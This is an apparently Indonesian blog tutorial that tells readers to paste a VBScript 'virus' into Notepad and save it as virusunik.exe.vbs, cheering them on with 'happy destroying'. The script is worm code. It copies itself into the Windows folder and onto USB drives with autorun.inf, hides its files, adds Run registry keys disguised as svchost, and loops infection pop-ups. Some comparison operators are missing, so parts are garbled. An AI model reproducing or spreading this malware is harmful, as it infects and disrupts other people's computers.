Cara Membuat Virus Sederhana Tapi Mematikan Dengan Notepad

Hai Teman – Teman , buka notepad kalian sekarang, kemudian salin script di bawah ini simpan dengan nama virusunik.exe.vbs

Dan jangan lupa Save as type_a buat All files
AWAS…!!!!
virus ini sangat berbahaya…
apapun yang terjadi bukan tanggungan saya…
SELAMAT MENGHANCURKAN..!!!!!!!
copy script di bwah ini ke notepad

‘El Magnifico MAN
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe virusunik.exe.vbs”
set fs = createobject(“Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & “\virusunik.exe.vbs”)
tf.attributes = 32
set tf=fs.createtextfile(winpath & “\virusunik.vbs”,2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & “\virusunik.vbs”)
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path “A:” then
set tf=fs.getfile(flashdrive.path &”\ virusunik.exe.vbs”)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\ virusunik.vbs”,2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &”\ virusunik.exe.vbs”)
tf.attributes =39
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
set rg = createobject(“WScript.Shell”)
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\svchost”,winpath&”\virusunik.exe.vbs”
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”,”"
rg.regwrite “HKCR\vbsfile\DefaultIcon\”,”shell32.dll,3″
if check 1 then
Wscript.sleep 100000
end if
loop while check1
set sd = createobject(“Wscript.shell”)
sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname

do while year(now) >= 2008
WScript.sleep 20000

msgbox “Selamat..!!,computer anda terkena virus” & vbcrlf & _
“jangan sedih yaa” & vbcrlf & _
“com anda akan hank” & vbcrlf & _
“maaf yaaa” & vbcrlf & _
vbcrlf & vbcrlf & _
” sekali lagi maaf” & vbcrlf & vbcrlf & _
” Good bye”

loop

"Saya Tidak Bertanggung Jawab Jika Terjadi Sesuatu Di Computer/laptop Anda . . .